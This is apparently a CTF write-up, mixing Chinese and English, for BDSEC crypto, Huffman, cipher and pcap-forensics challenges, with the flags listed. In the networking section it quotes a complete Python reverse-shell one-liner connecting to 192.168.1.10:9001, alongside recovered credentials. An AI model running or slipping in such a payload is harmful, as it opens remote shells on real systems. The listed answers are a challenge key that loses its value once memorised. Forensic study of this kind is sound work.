d = invert(e, phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
#BDSEC{r54_i5_fUn_r16h7?}

MISC

Message of Hufflepuff

哈夫曼编码

密文按编码从头对照，手工处理即可 

00101 B
111   D
00110 S
1011  E
1001  C
00111 {
00010 H
01000 u
1000  f
1000  f
00100 m
01011 @
1101  n
1100  _
1011  E
1101  n
00001 c
01100 0
01001 d
01101 1
1101  n
1010  g
1100  _
1010  g
01010 o
01110 7
1100  _
111   D
01111 3
1001  C
00011 O
111   D
01111 3
111   D
00000 }

BDSEC{Huffm@n_Enc0d1ng_go7_D3COD3D}

Find Me Inside

下来一个图片

用binwalk解出数据

Sld xlfow R yv hl olhg
Rm z kozxv R pmld hl dvoo?
Sld xlfow R yv hl yilpvm
Rm z uznrob hl gltvgsvi?
Sld xlfow R yv hl olmvob
Hfiilfmwvw yb hl nzmb?
Sld xlfow R yv hl fmszkkb
Hfiilfmwvw yb hl nfxs yvzfgb?
Sld xlfow R yv nv
Dsvm vevm R ivnzrm z nbhgvib?
YWHVX{N33n_gsv_yfggviuob_tlvh_fk_fk_zmw_zdzb}

这个基本就是词频的事了，放到 quipquip.com 上查得到

BDSEC{M33m_the_butterfly_goes_up_up_and_away}

NetWorking

这个题有20问，过关形式，过到十几就没走下去

这是一个网络测试攻击抓的包，先是用arp探测然后探测网站，试ftp密码，成功后下载文件，用webshell在网站起9001端口，登入后下载poc程序提权。

-------Victim & Attacker
25
NSTechvally is an multinational hosting & cloud service providing company. Recently we have detected some unusal activity to the server. An attacker got access to our server. And we recently found out that the developer did some mistakes developing our website. We have captured the network traffic. Help us to find out how the attacker compromised our server.

Attachments

capture.pcapng
N.B: This is the challenge file for all the networking challenges.
What is the server ip & the attacker ip? 攻击和服务器的IP

Flag Format: BDSEC{0.0.0.0_127.0.0.1}


BDSEC{192.168.1.13_192.168.1.10} 

------Which FTP?
50
What ftp & version the server is using?  ftp程序的版本号

Flag Format : BDSEC{ftp_0.0.0}

BDSEC{vsFTPd_3.0.3}

-----FTP Creads
50
What is the ftp username & password?  ftp用户名和密码

Flag Format : BDSEC{username_password}
BDSEC{ftpadmin_ftpadmin}

----Uploaded File
50
What file did the attacker uploaded to the ftp server? [with location]
  上传的文件
Flag Format : BDSEC{/location/file_name}
BDSEC{/files/.hacker.note}

----Log File
50
What is the log file name?  日志文件叫啥

Flag Format : BDSEC{something.log}
BDSEC{vsftpd.log}

----Project Incharge
50
Who was the incharge of the website project?  负责人，这个通过看3个邮件email1,2,3

Flag Format : BDSEC{name}
BDSEC{Mark}

----Loooong Loooog
50
Can you ananlyze the log file & split out the date time of first successful login?

Flag Format : BDSEC{day_month_date_ti:m:e} Example Flag : BDSEC{Sun_May_16_15:38:13}
###nM...log  Thu Jul 14 10:16:59 2022 [pid 8631] [ftpadmin] OK LOGIN: Client "::ffff:192.168.1.10"
BDSEC{Thu_Jul_14_10:16:59}  首次登录成功时间，在日志文件里

----Administrator
50
What is the admin panel username & password?

Flag Format : BDSEC{username_password}
BDSEC{demo_demo}


----Shell
50
What reverse shell payload did the attacker used to gain a reverse shell? 提供反向shell用的payload

Flag Format : BDSEC{payload in plain text}
BDSEC{python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'} #这个怎么也常觉得不会这么长，还真是这么长

----Secret Key
50
What is the secret key?   密钥，这个在数据库表里

Flag Format : BDSEC{secretKey}
BDSEC{2jo3t12nv51w1pw4wk1kj58s1jb6w0}

----Database Admin
50
What is the database username & password?  数据库用用户密码

Flag Format : BDSEC{username_password}
BDSEC{root_root}

----HostName
50
What is the hostname of the server? 主机名（把括号去年，空格换下划线）

Flag Format : BDSEC{hostname}
BDSEC{Ubuntu}

----CodeName
50
What is the codename the server?  在主机信息里的CODENAME

Flag Format : BDSEC{Codname}
BDSEC{xenial}

----Server Info
50
What server & version the server is using? (main os)

Flag Format : BDSEC{servername_version_something_something} 
Example Flag : BDSEC{CentOS_2022.2_LTS_GNU_Linux}主机名（把括号去年，空格换下划线）
BDSEC{Ubuntu_16.04.1_LTS_Xenial_Xerus}

----Service Exploit
50
Which service package did the attacker used to gain root access of the server?

Flag Format : BDSEC{package_name} 攻击都用root访问的包名
BDSEC{}  ?


----Exploit Exploit Exploit
50
Which exploit did the attacker used to gain root access of the server?

Flag Format : BDSEC{exploit_name}
BDSEC{}  ?

----Vulnerable Service
50
Which utility is vulnerable to pwnkit?  哪个应用容易受到pwnkit的攻击

Flag Format : BDSEC{utility_name}
BDSEC{}  ???
----msg.txt
50
What is the content of msg.txt?

Flag Format : BDSEC{content_of_the_msg_file}
BDSEC{The_Server_Is_Now_under_My_Control_:D_:D}  msg文件是在nc后手工输入的

----Attacker
50
What is the attacker name?

Flag Format : BDSEC{attacker}
BDSEC{}  ?

----Server User's
50
How many user's home directory were listed in the server? 数下目录下的用户名

Flag Format : BDSEC{0}
BDSEC{8}